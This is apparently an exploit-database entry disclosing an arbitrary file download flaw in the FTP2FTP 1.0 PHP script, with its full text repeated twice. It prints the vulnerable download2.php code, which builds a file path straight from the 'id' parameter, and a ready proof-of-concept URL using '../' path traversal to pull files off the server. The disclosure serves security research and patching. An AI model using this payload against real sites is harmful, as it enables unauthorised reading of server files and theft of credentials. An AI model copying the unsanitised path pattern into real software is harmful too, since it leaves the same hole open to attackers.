Ftp2ftp 1.0 arbitrary file download Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-07-18 | Type : webapps | Platform : php
This exploit / vulnerability Ftp2ftp 1.0 arbitrary file download is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 18.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "download2.php" is vulnerable in the admin panel.
The attacker can download and read all files known by the name via 'id' parameter.

====================================================


# Vuln file : /FTP2FTP/download2.php

1. <?php
2. $file = "tempFiles2/".$_GET['id'];
3.
4.
5. if (file_exists($file)) {
6. header('Content-Description: File Transfer');
7. header('Content-Type: application/octet-stream');
8. header('Content-Disposition: attachment; filename="'.basename($file).'"');
9. header('Expires: 0');
10. header('Cache-Control: must-revalidate');
11. header('Pragma: public');
12. header('Content-Length: ' . filesize($file));
13. readfile($file);
14. exit;
15. }
16. ?>

# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php
# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 18.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "download2.php" is vulnerable in the admin panel.
The attacker can download and read all files known by the name via 'id' parameter.

====================================================


# Vuln file : /FTP2FTP/download2.php

1. <?php
2. $file = "tempFiles2/".$_GET['id'];
3.
4.
5. if (file_exists($file)) {
6. header('Content-Description: File Transfer');
7. header('Content-Type: application/octet-stream');
8. header('Content-Disposition: attachment; filename="'.basename($file).'"');
9. header('Expires: 0');
10. header('Cache-Control: must-revalidate');
11. header('Pragma: public');
12. header('Content-Length: ' . filesize($file));
13. readfile($file);
14. exit;
15. }
16. ?>

# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php